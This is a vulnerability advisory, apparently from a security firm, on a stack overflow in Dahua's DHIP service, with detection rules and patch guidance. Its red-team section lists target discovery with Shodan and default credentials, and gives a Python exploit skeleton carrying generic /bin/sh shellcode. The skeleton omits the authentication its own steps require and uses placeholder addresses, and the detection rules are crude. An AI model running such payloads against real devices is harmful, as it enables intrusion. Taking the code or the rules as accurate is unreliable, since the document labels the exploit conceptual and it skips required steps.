CVE-2024-52547

Executive Summary

CVE-2024-52547 is a stack-based buffer overflow vulnerability in the DHIP Service (TCP port 80) of Dahua devices. An authenticated attacker can exploit this flaw to achieve remote code execution or cause a denial of service. The vulnerability has been patched in firmware version 2.800.0000000.8.R.20241111. Given the CVSS score of 7.2 (High) and the potential for full system compromise, immediate patching is critical. No public proof-of-concept (PoC) or exploit code is currently available, but the risk remains significant for unpatched devices.

Supply Chain & Package Security

This vulnerability affects Dahua hardware devices and their embedded firmware. It is not a software package (NPM, PyPI, Go, Ruby) but a firmware-level issue. Organizations should verify the integrity of firmware updates through official Dahua channels and ensure secure boot mechanisms are enabled to prevent tampering.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires authentication
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. Although authentication is required, an attacker with valid credentials can achieve full system compromise. The low attack complexity and network accessibility make this a serious threat for exposed devices.

Deep Dive & Mechanics

The vulnerability resides in the DHIP Service, which listens on TCP port 80. The service processes incoming requests and fails to properly validate the size of input data before copying it into a fixed-size stack buffer. An authenticated attacker can send a specially crafted request that overflows the buffer, overwriting the return address and other critical stack data. This allows arbitrary code execution in the context of the DHIP Service, which typically runs with elevated privileges.

The stack buffer overflow is triggered by a specific field in the DHIP protocol. The vulnerable code path does not perform bounds checking, leading to a classic stack overflow. Successful exploitation requires authentication, but once authenticated, the attacker can send a payload that executes arbitrary commands or installs persistent backdoors.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void process_dhip_request(char *input) {
    char buffer[256];
    // No bounds checking
    strcpy(buffer, input);
    // Process buffer...
}

Patched Code (Conceptual):

void process_dhip_request(char *input) {
    char buffer[256];
    // Bounds checking added
    strncpy(buffer, input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // Process buffer...
}

The patch introduces proper bounds checking using strncpy and ensures the buffer is null-terminated, preventing the overflow.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for the Dahua device (e.g., admin/admin)
• Network access to the DHIP Service on TCP port 80
• Python 3 with socket library

Exploitation Steps:

1. Identify a vulnerable Dahua device using Shodan or Nmap.
2. Authenticate to the DHIP Service (e.g., via HTTP Basic Auth).
3. Craft a malicious payload that overflows the stack buffer and overwrites the return address with a controlled value.
4. Send the payload to trigger the overflow and execute arbitrary code.

Example Python Script (Conceptual):

import socket

target_ip = "192.168.1.100"
target_port = 80

# Craft payload (replace with actual shellcode)
payload = b"A" * 256  # Fill buffer
payload += b"BBBB"    # Overwrite saved EBP
payload += b"CCCC"    # Overwrite return address (point to shellcode)
payload += b"\x90" * 100  # NOP sled
payload += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  # Shellcode

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(payload)
sock.close()

Note: No public exploit code is available. The above is a conceptual example.

Blue Team

Detection Steps:

1. Monitor for unusual traffic on TCP port 80 targeting Dahua devices.
2. Look for oversized requests or malformed DHIP protocol fields.
3. Check for unexpected process crashes or restarts of the DHIP Service.
4. Use the provided YARA and Sigma rules to detect exploitation attempts.

Honeypot Setup:

• Deploy a honeypot mimicking the DHIP Service to capture exploitation attempts.
• Log all incoming requests and analyze for buffer overflow patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unusually large packets on TCP port 80 (e.g., > 1024 bytes)
  • Repeated authentication attempts followed by large payloads
  • Outbound connections from the device to unknown IPs after exploitation

• Host IOCs:

  • DHIP Service crash logs or core dumps
  • Unexpected processes spawned by the DHIP Service
  • Modified firmware or unauthorized files in /tmp or /var

• File IOCs:

  • Suspicious binaries in /usr/bin or /sbin with recent timestamps
  • Unusual entries in /etc/init.d or /etc/rc.d

Detection Engineering

YARA Rule

rule CVE_2024_52547_Dahua_DHIP_Overflow {
    meta:
        description = "Detects exploitation attempts of CVE-2024-52547 in Dahua DHIP Service"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-52547"
    strings:
        $s1 = "DHIP" ascii wide nocase
        $s2 = "POST" ascii wide nocase
        $overflow = { 41 41 41 41 41 41 41 41 } // Pattern of 'A's indicating overflow
    condition:
        $s1 and $s2 and #overflow > 10
}

Sigma Rule

title: CVE-2024-52547 Dahua DHIP Service Buffer Overflow Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects oversized requests to Dahua DHIP Service on TCP port 80
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 80
        payload_length: "> 1024"
    condition: selection
falsepositives:
    - Legitimate large firmware updates (rare)
level: high

Suricata Rule

alert tcp any any -> any 80 (msg:"CVE-2024-52547 Dahua DHIP Service Buffer Overflow Attempt"; flow:to_server,established; content:"DHIP"; nocase; pcre:"/^.{1024,}/R"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update firmware to version 2.800.0000000.8.R.20241111 or later.
2. Restrict access to the DHIP Service (TCP 80) to trusted IPs only using firewall rules.
3. Change default credentials and enforce strong password policies.

Long-term Measures:

• Implement network segmentation for IoT/surveillance devices.
• Enable logging and monitoring for all DHIP Service traffic.
• Regularly audit device firmware and apply patches promptly.
• Use a Web Application Firewall (WAF) to filter malicious requests.

Workaround (if patching is not possible):

• Disable the DHIP Service if not required.
• Place devices behind a VPN or bastion host.

Valters IT